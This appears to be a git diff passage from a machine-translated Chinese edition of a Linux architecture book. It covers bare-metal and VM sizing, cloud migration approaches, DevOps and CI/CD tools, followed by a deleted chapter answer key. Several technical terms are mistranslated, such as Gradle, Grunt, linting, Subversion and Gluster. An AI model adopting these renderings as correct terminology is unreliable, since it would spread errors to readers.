内核,我不会感到惊讶。在一个信息技术与我们的日常生活越来越相关的世界里,随着物联网的兴起,Linux 的出现前所未有地激增。因此,作为 Linux 架构师,我们需要准备好几乎用所有东西进行设计。 - -在内部环境中,我们很可能面临两种情况: - -* 裸机服务器 -* **虚拟机** ( **虚拟机**) - -这两者将有很大的不同,因为我们将有不同的选择来使我们的解决方案更具弹性。 - -# 裸机服务器 - -裸机服务器非常适合需要大量资源才能运行的工作负载。小型工作负载无法高效地放在单个服务器上;例如,一个不能满足大量用户请求的小型网络应用在 64 核 1 TB 内存的物理服务器上没有位置。这是对资源的浪费,也是一个糟糕的经济决策。大多数情况下,该服务器的 90%将完全闲置,浪费了可用于其他用途的宝贵资源。这些类型的应用应该放入一个虚拟机中,或者完全容器化。 - -在裸机上移动或创建基础架构之前,我们应该了解的第一件事是您为其构建基础架构的应用的资源需求。 - -需要大量资源进行数据处理和高性能计算的系统将充分利用可用资源。以下解决方案是在裸机服务器上运行的示例: - -* 类型 1/类型 2 虚拟机管理程序(**基于内核的虚拟机** ( **KVM** )、 **Linux 容器** ( **LXC** )、XEN) -* 面向 SAP HANA 的 Linux -* Apache Hadoop -* 面向甲骨文数据库的 Linux -* 用于内存缓存的大型 MongoDB 部署 -* **高性能计算** ( **高性能计算**) - -指定其内存需求超过数百 GB 或数百个 CPU 内核的内部应用都可以在裸机服务器上得到更好的服务,在裸机服务器上,RAM/CPU 不会被消耗在任何其他开销进程上,这些开销进程不是您为该服务器设计的工作负载的一部分。 - -# 虚拟计算机 - -虚拟机管理程序在裸机服务器上也更好;由于他们将在多个托管虚拟机之间共享资源,因此需要大量资源。需要注意的一点是,虚拟机管理程序的一些资源将被虚拟机管理程序本身消耗,这会在硬件中断和其他操作上产生资源开销。 - -有时,在构建物理服务器时,我们会非常关注应用所需的 CPU 内核。借助虚拟机管理程序,CPU 时间优先分配给虚拟机,或者优先分配给可用的核心;根据其配置方式,CPU 资源在运行的虚拟机之间共享。相反,内存不会在虚拟机之间共享,我们在实施资源平衡时需要小心。部署一台具有必要的中央处理器内核但有足够的内存来满足我们可能面临的任何竞争时期的服务器是需要考虑的事情。在单个主机上运行数百个虚拟机的情况下,我们可以很快耗尽内存并开始交换,这是我们希望避免的情况。 - -对于资源调配,我们还需要考虑到,如果我们正在运行一个虚拟机管理程序群集,可能会出现这样的情况,其中一个群集节点需要进行维护或因意外故障而停机。诸如此类的场景是我们应该始终保留一些资源以便能够管理来自虚拟机的额外意外工作负载的原因,由于上述原因,这些工作负载可能会发生故障转移。 - -在处理虚拟机管理程序时,您必须小心,因为您不会在每个物理主机上只运行一个工作负载。除非您配置了某种类型的关联规则,否则数量和虚拟机本身总是会有所不同。诸如你的网络接口卡支持多少网络带宽之类的事情是最重要的。根据主机虚拟机管理程序的资源量,数十个或数百个虚拟机将共享相同的网络硬件来执行输入/输出。例如,这里决定是否需要 10 GbE 网卡而不是 1 GbE 网卡。 - -在选择物理主机的网络接口时,还需要考虑您将使用的存储类型;例如,如果您正在考虑一个**网络文件系统** ( **NFS** )解决方案或一个 iSCSI 解决方案,您必须记住,很多时候,它们将共享相同的接口,例如用于常规网络流量的接口。如果您知道您正在设计的基础架构将具有非常拥挤的网络,并且需要良好的存储性能,那么最好有另一种方法,例如选择光纤通道存储区域网络,该网络有自己的专用硬件,仅用于存储 I/O - -网络分段对于虚拟化环境、管理流量、应用网络流量和存储网络流量至关重要,这些流量应始终分段。您可以通过多种方式实现这一点,例如为每种目的提供专用网络接口卡或通过 VLAN 标记。每个虚拟机管理程序都有自己的一套工具来实现细分,但背后的想法是一样的。 - -# 云环境 - -使用**云环境**为设计信息技术解决方案创造了大量选择。独立于云提供商,您将能够从以下服务中进行选择: - -* **基础设施即服务** ( **IaaS** ) -* **平台即服务** ( **PaaS** ) -* **软件即服务** ( **SaaS** ) - -您的选择将取决于客户在云架构模型方面的成熟度。但是,在我们讨论云环境的设计模式或最佳实践之前,我们需要先讨论如何将您的内部环境迁移到云,或者如何开始采用云作为客户的基础架构。 - -# 云之旅 - -这些迁移策略采用自 Gartner 研究。Gartner 还提出了第五个战略,名为**用 SaaS 取代**。 - -本节将讨论以下研究论文: - -*通过回答五个关键问题设计有效的云计算战略,* Gartner,David W Cearley,2015 年 11 月,2017 年 6 月 23 日更新。 - -当迁移到云时,我们不必将云视为目的地,而是将其视为旅程。虽然听起来很俗气,但事实就是如此。每个客户的云之路都会不一样;有些路会很容易,有些会很难。这将完全取决于是什么导致客户做出移动的决定,以及他们如何决定移动其基础架构。一些客户可能不仅决定将其基础架构迁移到 IaaS 模式,还会利用这一迁移,将一些工作负载现代化为 PaaS 甚至无服务器模式。不管选择哪一条路,每条路都需要不同程度的准备。典型的转换如下所示: - -![](img/3a2d9429-d251-4d44-b863-922c08de6c9b.png) - -每一步都需要在要迁移的应用或基础架构上实施更高程度的更改。 - -我们可以将上述步骤视为从评估要迁移的资产开始的更大旅程的一部分。 - -让我们更详细地探索迁移的每一步。 - -# 评估 - -在这一步中,我们将评估要迁移哪些工作负载。在确定了迁移的候选对象后,我们应该始终对我们的虚拟机或物理服务器进行清点,并计算维护基础架构的总拥有成本。硬件成本、支持维护合同、电费、甚至空间租赁等都在这里发挥作用。这将有助于我们了解在最终迁移到云的过程中,我们将节省多少成本。这些数据对于说服管理层和任何对将基础架构迁移到云提供商的成本效益有任何疑问的 C 级决策者至关重要。 - -开始迁移的理想场景是寻找不需要迁移整个基础架构就能投入生产的较小应用。几乎没有依赖性的应用非常适合开始您的评估。诸如我们需要一起迁移哪些服务器之类的依赖性,以及诸如端口和 IP 操作范围之类的应用的网络要求都要考虑在内。以下问题将有助于我们为成功迁移做好准备: - -* 我的 Linux 发行版是否得到了我要迁移到的云提供商的认可? -* 我运行的是云提供商支持的内核版本吗? -* 我必须安装任何额外的内核模块吗? -* 我的云提供商是否需要在我的操作系统上运行任何类型的代理? - -回答了这些问题,我们就可以开始执行实际的迁移了。 - -# 迁移 - -将我们的基础架构迁移到云时,有四种基本方法: - -* **提升和移动** -* **重构** -* **重启** -* **重建** - -每种方法都将利用不同的服务和云的不同特性。选择使用哪种方法将取决于许多因素,例如您需要多快进行迁移、您愿意付出多大的努力进行迁移,以及您是否希望在迁移时利用迁移并实现工作负载现代化。 - -# 提升和移动 - -这种方法实际上是一种主机托管,因为您将把内部物理服务器或虚拟机移动到云提供商的虚拟机中。这种方法是所有方法中最简单快捷的,因为您将在内部移动您的环境和应用。此方法不需要更改代码或重新构建应用。在这里,您只能利用您选择的云提供商的 IaaS 优势。 - -如果您需要按需增加存储或计算,那么拥有可供您支配的资源的灵活性,以及缺乏硬件维护和管理等,都将是这一模式的优势。 - -# 重构 - -借助**重构**,您的应用只需要很少甚至不需要代码更改。通过这种方法,我们可以利用 IaaS 和 PaaS 的混合特性。将三层 web 应用迁移到托管中间件和托管数据库就是这种迁移模型的一个完美例子。 - -有了托管数据库或托管中间件,我们就不必担心操作系统管理、数据库引擎安装和管理、框架更新、安全补丁,甚至为负载平衡配置额外的实例,因为这些都是为我们准备的。我们只需要上传我们的代码,并选择运行它所需的框架。我们仍然可以运行单片应用,并且只需要很少的代码更改;这种方法的主要目的是通过将管理和配置之类的事情从我们的肩上卸下来进行迁移,从而提高工作负载的敏捷性。 - -# 重新构建 - -**迁移时重新构建**确实涉及到我们应用的重大变化,但这一阶段是我们实现业务现代化的阶段。 - -我们可以发现自己正在分解一个单片应用,并通过利用容器和 Kubernetes 等技术将其分解为微服务。我们将使我们的应用更加可移植、可扩展、敏捷,并准备好通过 DevOps 等方法交付。借助微服务、容器和 DevOps 带来的自动化,您不仅可以更快地将应用交付到生产环境中,还可以更高效地使用应用运行所需的计算资源。 - -重新构建可能不容易,也不是将工作负载迁移到云的最快方法,但从长远来看,它将为您带来巨大的优势和成本节约。 - -# 重建 - -重新构建需要重大的代码更改,但最后一个迁移模型是利用向云的移动,创建所谓的**云原生应用**。 - -云原生应用是那些利用云服务的应用,例如旨在云上运行的 PaaS 和 SaaS 应用。其中一些甚至可以完全在无服务器计算上运行。无服务器计算是直接在云服务上运行代码,或者使用已经由云提供商提供的应用编程接口或服务。将几个相互消费并为一个共同目标或结果工作的服务组合在一起,我们称之为云原生应用。 - -迁移到云背后的整个理念是节约:通过迁移到更具弹性和弹性的平台,节约成本,节省维护,节省恢复时间。但我们不会总是自动利用它的所有好处。迁移后,我们仍有一些地形需要覆盖,以便完全优化我们的新云工作负载。 - -# 最佳化 - -如果您通过提升和转移来移动您的基础架构,移动可能会很容易,并且该虚拟机上运行的任何工作负载都可能已经投入生产,没有太多更改(如果有的话)。问题是,您的虚拟机仍然与内部环境中的虚拟机大小相同。您仍然让虚拟机使用其实际总计算资源的一小部分。在云中,这是在浪费金钱,因为您要为虚拟机运行的时间付费,但您为这些时间付费的价格是基于该虚拟机的资源总量,无论您是否 100%使用这些资源。 - -在这个阶段,我们实际上开始执行适当的规模调整和优化我们的基础架构,以实际使用我们真正需要的东西,从而真正利用云的弹性。所有云提供商都有工具和服务,您可以使用它们来监控虚拟机和其他服务的资源消耗。有了这些工具,我们可以以经济高效的方式轻松识别和解决我们的规模需求。 - -云的弹性不仅允许我们按需调整资源规模,而且在虚拟机管理程序或专用物理服务器中的资源耗尽的情况下,我们不必等待信息技术运营团队分配或购买新硬件。 - -我们还可以根据我们建立的资源阈值,按需调配额外的虚拟机或服务实例。对这些资源的请求会自动负载平衡到我们的额外实例,因此我们只需在资源争用期间为这些额外资源付费。 - -优化不仅仅是为了更好的价格而减少虚拟机大小。我们可以优化的其他领域是管理和上市时间。采用像 PaaS 和 SaaS 这样的东西可以帮助我们实现这一点。 - -一旦我们的应用在云上的虚拟机上运行,我们就可以轻松地开始过渡到这些更受管理的服务。托管服务帮助我们忘记了操作系统维护或中间件配置,我们的开发人员可以花更多的时间实际开发和部署应用,而不是与运营团队就库需要的更新进行斗争,以便能够运行最新版本的生产应用,这最终会使我们更快地上市,并减少管理或操作系统支持合同上花费的金钱和时间。 - -更快的上市时间、更少的管理以及运营和开发之间更少的冲突是 DevOps 的全部意义。我们已经在迁移阶段的几个阶段提到了 DevOps,但是让我们更深入地了解什么是 DevOps,以及它试图在更近的层次上实现什么。 - -# DevOps - -综合来看,DevOps 是开发和运营的结合。正是这两个信息技术团队——开发人员和系统管理员——之间的联合和协作,使开发运维成为可能。注意我们说的协作*;*要明白协作是 DevOps 的核心。DevOps 背后没有权威,比如 scrum 框架就没有权威。相反,它没有标准,但它遵循这两个群体之间的文化交流所产生的一套实践,以敏捷方法实现更短的开发周期和更高的部署频率。 - -您会经常看到术语 DevOps 以不同的方式被误用,例如: - -* **职位(DevOps 工程师)**:DevOps 的本质是跨运营和开发团队的协作,因此 DevOps 不是一个做 devo PS 的职位或特定团队。 -* **工具集**:用来帮助实现 DevOps 背后目标的工具也很混乱。Kubernetes、Docker 和 Jenkins 都经常与 DevOps 混淆,但它们只是达到目的的手段。 -* **标准**:正如我们之前提到的,DevOps 运动没有任何权威来规范它的实践和流程;正是这些人实施并遵循一套基本的实践,并使其适应自己的业务需求。 - -我们现在知道 DevOps 是一种文化运动,它给我们带来了更频繁的开发周期、频率以及运营和开发之间的集成。现在,让我们了解采用 DevOps 的好处背后的问题。 - -# 整体瀑布 - -开发软件应用的传统方法被称为**瀑布**。瀑布是做软件的线性顺序方式;基本上,你只朝一个方向走。它被制造业和建筑业的软件工程所采用。瀑布模型的步骤如下: - -1. 要求 -2. 设计 -3. 履行 -4. 确认 -5. 保持 - -主要的问题是,由于这种方法是为制造和建筑而发明的,所以它一点也不敏捷。在这些行业中,你面临的每一个变化或每一个问题都可能让你付出很多,所以在进入下一阶段之前,所有的预防措施都必须考虑在内。因此,每个阶段都需要相当长的时间,因此上市时间大大减少。 - -使用这种方法,甚至在开始创建应用之前,开发人员就必须设计所有的特性,甚至在编写一行代码之前,就要花费时间进行交谈和规划。这些类型的场景对这种方法的起源很有意义,因为如果你正在建造摩天大楼或住宅,你甚至在开始建造之前就想知道它将如何设计和构造。在软件开发中,你越快得到反馈,你就能越快适应并做出必要的改变来满足客户的需求。使用瀑布,直到最后才提供反馈,这时产品几乎准备好了,变更更难实现。 - -瀑布本身是单一的和庞大的,尽管我们有不同的团队在开发产品的不同特性,最终所有这些特性被编译在一起,以交付一个版本的单个大实例。对于这种类型的单块,如果有一个**质量保证** ( **QA** )团队,他们必须测试该版本的所有特性。这需要花费大量时间,甚至会增加产品的上市时间。最坏的情况是需要一个改变,或者一个错误通过质量保证进入生产。回滚将意味着包含所有功能的完整版本,而不仅仅是包含 bug 的版本,这给大型版本带来了很大的风险。 - -# 整体问题的敏捷解决方案 - -有了瀑布,我们意识到我们认为有用的东西在安装阶段没有按计划工作,甚至在后期的生产阶段也没有。执行这些改变意味着一大堆步骤,而航向修正是缓慢而痛苦的。 - -软件发展很快,我们客户的需求可能会在设计过程中发生变化。这就是为什么我们需要一种比瀑布更灵活的方法。我们越快获得反馈,就能越快适应并实现客户的确切期望。 - -这正是**敏捷**方法论的目的。敏捷寻求在多个版本中交付软件,每个版本都要经历一系列测试和反馈,以便更快地获得软件,并以更快、更敏捷的方式进行更改和路线修正。 - -敏捷是一个游戏规则的改变者,但是它在**操作**和**开发者**之间产生了冲突。 - -如果由不同的工程师执行部署,更频繁地部署版本可能是不标准化的,并且每次都是不同的。假设你晚上有一个部署。如果早上部署的人是与执行最后一次部署的工程师不同的工程师,那么他们可能有完全不同的方式将代码部署到生产中。这些类型的东西会产生差异,并可能导致问题。例如,如果发生了什么事情,需要回滚,回滚的另一个人可能不知道部署中采取了什么步骤来回滚更改。 - -在这些版本中,系统可用性可能会受到不可预测的影响。运营工程师以他们管理的系统的稳定性来衡量,保持这种稳定性符合他们的利益。他们希望避免对生产进行不可预测的更改。另一方面,开发人员是通过他们将新的变更、特性和版本投入生产的速度来衡量的。你可以看到这两支球队的目标完全相反,他们几乎必须互相战斗才能实现目标。 - -跨团队的不同目标将每个团队与另一个团队隔离开来。这就形成了孤岛,将问题或应用抛出了围墙。这发展成一种非协作的工作环境,每个人都互相指责,事情进展得更慢,而不是解决问题。 - -# 连续培养 CI/CD - -到目前为止,我觉得您已经注意到,我们还没有讨论任何工具来实现 DevOps。这是因为工具不会解决所有这些类型的问题。他们将帮助您和您的客户加强 DevOps 文化,但他们不是使 DevOps 成为可能的因素。 - -交付产品之前的标准化和测试对于敏捷和开发运维来说至关重要,工具将帮助我们实现这两个目标。让我们来看看敏捷工作流和 DevOps 工作流: - -下面是敏捷工作流的一个例子: - -![](img/aee6ce74-5f90-4690-97e0-50ba754b576a.png) - -以下是它与 DevOps 的对比: - -![](img/1e4a7937-d1ea-4444-9564-fb1766d52748.png) - -很明显,两者是携手并进的,它们相互重叠,因为它们寻求相同的目标。DevOps 有额外的步骤,如操作和监控,这些步骤在代码部署后进行。这些步骤非常不言自明;monitor 包括监视我们在生产中的应用,检查它的行为是否存在任何错误,是否正在使用分配给它的所有资源。在部署硬件、虚拟机或平台即服务的地方进行操作。 - -**持续部署** ( **CD** )和**持续集成** ( **CI** )背后的理念是为我们带来标准化,以及我们确保变更和发布以尽可能少的失败尽快投入生产的手段。如果发生故障,我们也可以快速轻松地恢复。CI/CD 的全部意义在于自动化手动过程,许多公司仍然手动编译版本,并且仍然向运营部门发送带有二进制文件的电子邮件以及如何部署其代码的说明。为了实现 CI/CD,我们有工具可以帮助我们自动化整个构建、测试、部署和发布周期。 - -典型的 CI/CD 管道由提交到 Git 存储库触发,然后触发自动构建过程,该过程通常生成工件或放置,从而触发应用的自动测试和自动部署。 - -让我们来看看一些不同的开源工具,并简要解释每个工具以及它属于 DevOps 周期的哪个阶段。 - -这远不是一个广泛的列表,解释只是对其目的的简要总结: - -* **代码**: - * **Git** :一个版本控制系统,允许开发人员拥有他们代码的分布式存储库,并跟踪整个开发周期的变化。 - * **GitHub、GitLab、Bitbucket** :这三个是 Git 类型的存储库,而不是工具。然而,它们值得一提,因为它们是行业中使用最多的 Git 公共和私有存储库。 - * **阿帕奇颠覆** ( **SVN** ):这是另一个版本控制系统。尽管它不再像 Git 发布以来那样受欢迎,但值得一提的是,它确实存在,因为您可能会在遗留环境中遇到它。 -* **建造**: - * **Docker** : Docker,正如我们在[第 14 章](14.html)、*让你的手咸起来*中所讨论的,是一个你可以用来构建你的容器图像的工具,与你的应用是用哪种语言编写的无关。Docker 在引擎盖下使用 **Buildkit** ,也可以作为独立产品来构建 docker 镜像。 - * **Apache ant** :这个工具是第一个取代著名的为 Java 应用制作的 Unix 构建二进制的工具。它使用`xml`来定义构建的步骤。这个工具主要是针对 Java 应用的。 - * **Apache Maven** : Apache Maven 也是另一个 Java 构建工具,但是它是来修复 Apache Ant 缺乏的依赖管理等问题的。 - * **Grade le**:Grade 是在 Apache Ant 和 Apache Maven 的基础上构建的,但是 Grade le 使用它自己的基于 Groovy 的特定语言来定义所需的步骤。Gradle 是最模块化的,大部分功能都是通过插件添加的。 - * **咕噜**:这是 Ant 或者 Maven 的 JavaScript 的等价物;它自动化并运行诸如林挺、单元测试、缩小和编译等任务。Grunt 是高度模块化的,因为有成千上万的插件可用。 -* **测试**: - * **Selenium** :这主要是一个 web 应用测试器,可以在大多数现代 web 浏览器上运行。使用 Selenium,您不一定需要知道测试编程语言,因为它提供了 IDE 和使用几种最流行的编程语言的选项。 - * **Apache JMeter** :这基本上是一个负载性能工具,在服务器上生成一个重载来测试静态和动态内容,这样就可以分析它在不同负载类型下的性能。 - * **Appium** :另一方面,Appium 不仅测试 web 应用,还可以对移动和桌面应用进行测试。 - -* **发布、部署、管理、编排、操作**: - * **詹金斯**:这可能是 DevOps 文化中使用最多的工具。Jenkins 是一个自动化服务器,通过调用构建和发布过程自动化的触发器,以及在管道中配置的任何自动化测试,使所有步骤成为可能。 - * **Ansible** :这主要是一个配置管理工具,但是它也可以通过模块化帮助我们发布我们的应用,并且提供了一种简单的方法来开发您自己的行动手册,以在一组服务器上运行。 - * **Puppet** :这是另一个配置管理工具,帮助我们在环境服务器上维护配置和管理软件包补丁安装。 - * **Helm** :把 Helm 看做 Kubernetes 的`yum`或者`apt`:它本身是无法实现任何部署流程的自动化的,但是在 Jenkins 等工具的帮助下,你可以用它把自己的自定义图表部署到 Kubernetes 上,如果需要回滚的话还可以保留一个发布历史。 - -* **监控**: - * **Nagios** :这是经典的集中监控工具,可以监控从系统性能到服务状态等等的一切。 - * **普罗米修斯**:云原生计算基金会旗下项目。它允许我们创建自己的指标和警报。 - * **Fluentbit** :这允许你收集多个日志和/或数据,并将其发送到多个目的地进行日志收集或处理。 - -# 摘要 - -这是最后一章,我们总结了设计解决方案时的一些注意事项。在这一章中,我们讲述了在处理不同场景时我们应该想到的。 - -知道我们将在哪里以及如何部署我们的解决方案,有助于我们了解可能会有什么样的需求;例如,某些行业将有不容忽视的硬性要求,如 HIPAA、PCI 和 GDPR。 - -然后,我们讨论了部署内部部署解决方案,不同的工作负载如何更好地适用于裸机,以及在虚拟机中实施时需要考虑的事项。 - -我们谈到了迁移到云并不像点击门户和等待那么简单,而是一段旅程,因为考虑到云中可用的选项过多,它允许工作负载现代化。 - -此外,我们提到了迁移现有工作负载的不同方法,例如提升和转移、重构、重新构建和重建。 - -最后,我们描述了 DevOps 如何通过统一开发和运营方面来帮助塑造行业,以及这与 CI/CD 如何改变软件部署和使用方式的关系。 - -# 问题 - -1. 什么是 HIPAA? -2. 哪些工作负载更适合在裸机上运行? -3. 虚拟机管理程序应该在裸机上运行吗? -4. 虚拟机共享资源吗? -5. 什么是网络细分? -6. 什么是升降移? -7. 什么是重构? -8. 什么是重新架构? - -# 进一步阅读 - -**大型计算机程序的制作**:[http://sunset . USC . edu/csse/TECHRPTS/1983/uscse 83-501/uscse 83-501 . pdf](http://sunset.usc.edu/csse/TECHRPTS/1983/usccse83-501/usccse83-501.pdf) - -**管理大型软件系统的开发**:[http://www-SCF . USC . edu/~ csci 201/讲座/讲师 11/royce1970.pdf](http://www-scf.usc.edu/~csci201/lectures/Lecture11/royce1970.pdf) - -**蔚蓝迁徙中心**:[https://azure.microsoft.com/en-gb/migration/get-started/](https://azure.microsoft.com/en-gb/migration/get-started/) - -**将数据中心迁移到云 iaas 的 3 次旅程**:[https://www . Gartner . com/smarterwith Gartner/3-将数据中心迁移到云 IaaS 的旅程/](https://www.gartner.com/smarterwithgartner/3-journeys-for-migrating-a-data-center-to-cloud-iaas/) \ No newline at end of file diff --git a/docs/handson-linux-arch/16.md b/docs/handson-linux-arch/16.md deleted file mode 100644 index 9ff8672a..00000000 --- a/docs/handson-linux-arch/16.md +++ /dev/null @@ -1,183 +0,0 @@ -# 十六、答案 - -# 第一章:设计方法论介绍 - -1. 问题陈述→信息收集→解决方案建议→实施。 -2. 因为它允许建立正确的需求。 -3. 为客户选择正确的解决方案留出空间。 -4. 在*部分探讨了分析问题并提出正确的问题。* -5. 概念证明。 -6. 实际的解决方案已经交付并经过测试。 -7. 它允许我们探索实际工作环境解决方案的不同概念。 - -# 第 2 章:定义 GlusterFS 存储 - -1. [第 5 章](05.html)、*分析一个忧郁体系中的表现*进一步分析了这一点。 -2. 文件存储更适合 GlusterFS 的工作方式。 -3. 如今,几乎所有的云提供商都提供对象存储。 -4. 文件存储、块存储(通过 iSCSI 启动器)和对象存储(通过插件)。 -5. 不,但是它确实有助于这个项目。 -6. GlusterFS 是免费的开源软件;只需从您最喜欢的软件包管理器下载即可。 -7. 它是通过地理复制功能实现的。 - -# 第 3 章:构建存储集群 - -1. 这取决于使用的卷类型,但 2 个 CPU 和 4+GB 的 RAM 是一个很好的起点。 -2. GlusterFS 将使用砖块的文件系统缓存机制。 -3. 它是一个快速存储层,将为 I/o 提供服务,而不是转到较慢的存储。缓存可以是内存或更快的存储介质,如固态硬盘。 -4. 随着并发性的提高,软件将需要更多的 CPU 周期来处理请求。 -5. 分布式将聚合空间,复制将镜像数据,因此空间“减半”,分散将聚合空间,但将消耗 1 个节点进行奇偶校验。把它当成一个 RAID5。 -6. 取决于许多变量,如保留期、数据进入等... -7. 预期的数据增长量。 -8. 吞吐量是给定时间内给定数据量的函数,通常显示为每秒 MB/s 或兆字节 - **每秒输入输出操作**(**【IOPS】**)是每秒一定操作量的函数 - **I/O 大小**是指设备完成的请求大小 -9. GlusterFS 使用的存储位置的布局。 -10. GlusterFS 将数据从一个集群复制到另一个集群的过程,通常位于不同的地理位置.. - -# 第 4 章:在云基础设施上使用 GlusterFS - -1. GlusterFS 用来存储实际数据的存储位置。 -2. Z 文件系统,一个由太阳微系统公司创建的高级文件系统,后来成为开源的。 -3. ZFS 存储池。 -4. 用于读取请求的磁盘,通常比 zpool 中使用的磁盘速度更快,延迟更低。 -5. 通常是通过操作系统的包管理器,比如 yum。 -6. 将参与同一个集群的 GlusterFS 节点池。 -7. 的郁闷卷。 - -8. 此设置控制将有多少内存用于缓存。 -9. 自适应替换缓存,这是 ZFSs 缓存算法。 - -# 第五章:分析一个忧郁系统的表现 - -1. 兆字节/秒,吞吐量测量。 -2. 显示 ZFS 的输入/输出统计数据。 -3. sysstat 包的一部分,用于块设备输入/输出统计。 -4. 这是读取延迟,以毫秒为单位。 -5. 中央处理器等待未完成的输入/输出完成的时间。 -6. 灵活的输入/输出测试,一个用于输入/输出基准测试的工具。 -7. 或者通过配置文件,或者通过将参数直接传递给命令。 -8. 告诉 FIO 如何运行测试的文件。 -9. 故意杀死其中一个节点。 -10. 通过增加节点上的资源或增加磁盘大小。 - -# 第 6 章:创建高可用性自愈架构 - -1. Kubernetes 的主要组件分为控制平面和 API 对象。 -2. 其中三个是托管的 Kubernetes 解决方案,分别由三个市长公共云提供商谷歌、亚马逊和微软提供。 -3. 容器的攻击面较小,但这并不能使它们免受攻击,但是市长容器运行时项目得到了很好的维护,如果检测到攻击,它会被迅速处理。 -4. 这将取决于您尝试运行的应用的类型以及您对该技术的熟悉程度。将应用迁移到容器通常很容易,但是以最有效的方式进行迁移是需要做的工作。 -5. 不,你可以找到窗口的 Docker 引擎,在撰写本文时,Kubernetes 窗口节点处于测试阶段。 - -# 第 7 章:理解 Kubernetes 集群的核心组件 - -1. 在撰写本文时,Kubernetes 是市场上的市长容器指挥者。 -2. Kubernetes 由组成集群的二进制文件和称为 API 对象的逻辑对象组成。 -3. Kubernetes API 对象是由编排者管理的逻辑对象。 -4. 我们可以运行协调的容器化工作负载。 -5. 容器编排器是一种工具,负责管理我们正在运行的容器以及与保持工作负载高可用性相关的不同任务。 -6. Pod 是 Kubernetes 的最小逻辑对象,它将一个或多个容器封装在共享的名称空间中。 -7. 部署是一组由 Kubernetes 复制控制器管理的复制 Pods。 - -# 第 8 章:在蔚蓝色上构建 Kubernetes - -1. 由于 ETCD 的多数机制,奇数是首选,以便能够达到多数票的所有时间。 -2. 是的,但是它也可以在单独的一组音符中运行。 -3. 由于心跳和领导人选举的频率,建议降低延迟。 -4. 工作节点是负责运行容器工作负载的集群成员。 -5. 工作负载的类型以及每个工作负载将要运行的容器数量。 -6. 所有存储提供者或提供者都可以在这里找到:[https://kubernetes . io/docs/concepts/storage/storage-class/# provisioner](https://kubernetes.io/docs/concepts/storage/storage-classes/#provisioner) -7. 需要一个负载平衡器来跨所有复制的 Pods 发送请求。 -8. 名称空间可以用来对集群进行逻辑分区,并为每个逻辑分区分配角色和资源。 - -# 第 9 章:部署和配置 Kubernetes - -1. 安装 Kubernetes 有几种方法,从像`kubeadm`和`kubespray`这样的自动配置工具,到完全手动安装。你可以通过以下链接找到更多安装方法:[https://kubernetes.io/docs/setup/](https://kubernetes.io/docs/setup/) -2. 一个`kubeconfig`文件包含了与 API 服务器通信和认证的所有必要信息。 -3. 你可以用几种工具创建 SSL 证书,在本书中我们使用了`cffssl`。但是你也可以使用`openssl`和`easyrsa`。 -4. **Azure Kubernetes 服务** ( **AKS** )是微软为其公有云 Azure 提供的托管 Kubernetes 解决方案。 -5. Azure CLI 可以在任何一种操作系统中使用,因为它是基于 Python 的命令行界面。 -6. 您可以通过 Azure 命令行界面、PowerShell 或 Azure 图形用户界面创建资源组。 -7. 您可以在以下链接找到安装 etcd 的不同方式:[http://play.etcd.io/install](http://play.etcd.io/install) - -# 第 10 章:使用 ELK 栈进行监控 - -1. 主动收集数据的过程。 -2. 通过了解使用趋势,可以用实际数据做出购买更多资源等决策。 -3. 通过将数据放在一个地方,可以在事件发生之前主动检测到它们。 -4. 了解存储系统的正常行为,从而为性能提供基准。 -5. 当在不该出现尖峰的地方看到尖峰时,这可能意味着行为不稳定。 -6. 不必检查环境中的每台主机,而是可以通过单个集中位置进行检查。 -7. 数据索引和分析软件。 -8. Elasticsearch 以 json 格式存储数据。 - -9. Logstash 是一个数据处理解析器,允许在数据被发送到 Elasticsearch 之前对其进行操作。 -10. Kibana 为 Elasticsearch 提供了可视化界面,允许数据容易地可视化。 - -# 第 11 章:设计 ELK 栈 - -1. 在较小的部署中,至少需要 2 个 CPU 内核才能实现最佳功能。 -2. 至少 2Ghz。 -3. 较慢或少于 2 个 CPU 主要影响 Elasticsearch 启动时间、索引速率和延迟。 -4. 内核使用可用的内存来缓存对文件系统的请求。 -5. 如果发生交换,搜索延迟将受到很大影响。 -6. 如果没有足够的内存,Elasticsearch 将无法启动,如果内存不足,一旦运行,OOM 将杀死 Elasticsearch。 -7. 最低为 2.5GB,但建议为 4GB。 -8. `/var/lib/elasticsearch` -9. 更低的延迟有助于索引/搜索延迟。 -10. 2GB 内存和 1 个中央处理器。 -11. 这是一个存储位置,在崩溃的情况下,logstash 将在这里持久地存储队列。 -12. 有多少用户将同时访问仪表板。 - -# 第 12 章:使用 Elasticsearch、Logstash 和 Kibana 来管理日志 - -1. 可以通过包管理器安装 Elasticsearch。 -2. 这是通过分开来完成的。 -3. 将磁盘的 UUID 添加到`/etc/fstab`。 -4. `/etc/elasticsearch/elasticsearch.yml` -5. 这就给集群起了一个名字,这个名字应该在节点间保持一致,这样每个节点都可以加入同一个集群。 - -6. 数字由`(N/2)+1`决定。 -7. 通过使用相同的 cluster.name 设置,第二个节点将加入同一群集。 -8. 添加回购,通过`yum`安装,为 logstash 分区磁盘。 -9. 这是一个存储位置,在崩溃的情况下,logstash 将在这里持久地存储队列。 -10. 协调节点是不接受输入、不存储数据或参与主/从选举的 Elasticsearch 节点。 -11. Beats 是来自 Elastic.co 的轻量级数据托运人。 -12. Filebeat 的功能是从`syslog`、apache 等来源收集日志,稍后发送到 Elasticsearch 或 Logstash。 - -# 第 13 章:用 Salt 解决方案解决管理问题 - -1. 是维护现有信息技术基础设施的任务。 -2. 集中所有基础架构,无论其操作系统或体系结构如何。 -3. 木偶、厨师、易卜生、太空行走、盐堆和许多其他角色。 -4. 用能够描述信息技术基础设施状态的特定语言编写所需的状态。 -5. 推拉。 -6. Salt 是一个开源项目/软件,来解决系统管理的许多挑战。 -7. 主人和爪牙。 - -# 第 14 章:设计 Salt 解决方案和安装软件 - -1. 任何 Linux 发行版。 -2. 最少需要一个自我管理的节点。 -3. 为我们的存储栈提供高可用性和平衡。 -4. 手动安装二进制文件,并通过引导脚本。 - -5. 通过他们的钥匙。 -6. 通过`test.ping`功能。 -7. 谷物包含迷你特定信息(元数据)或标签。支柱包含配置和敏感信息。 - -# 第 15 章:设计最佳实践 - -1. HIPAA 代表健康保险可移植性和责任法案,它是处理健康和医疗数据的标准。 -2. 类型 1/类型 2 虚拟机管理程序(**基于内核的虚拟机** ( **KVM** )、 **Linux 容器** ( **LXC** )、XEN) - Linux 适用于 SAP HANA - Apache Hadoop - Linux 适用于 Oracle DB - 大型 MongoDB 部署适用于内存缓存 - **高性能计算** ( **HPC** ) -3. 是的,理想情况下,虚拟机管理程序需要访问资源才能更有效地将资源提供给虚拟机。 -4. 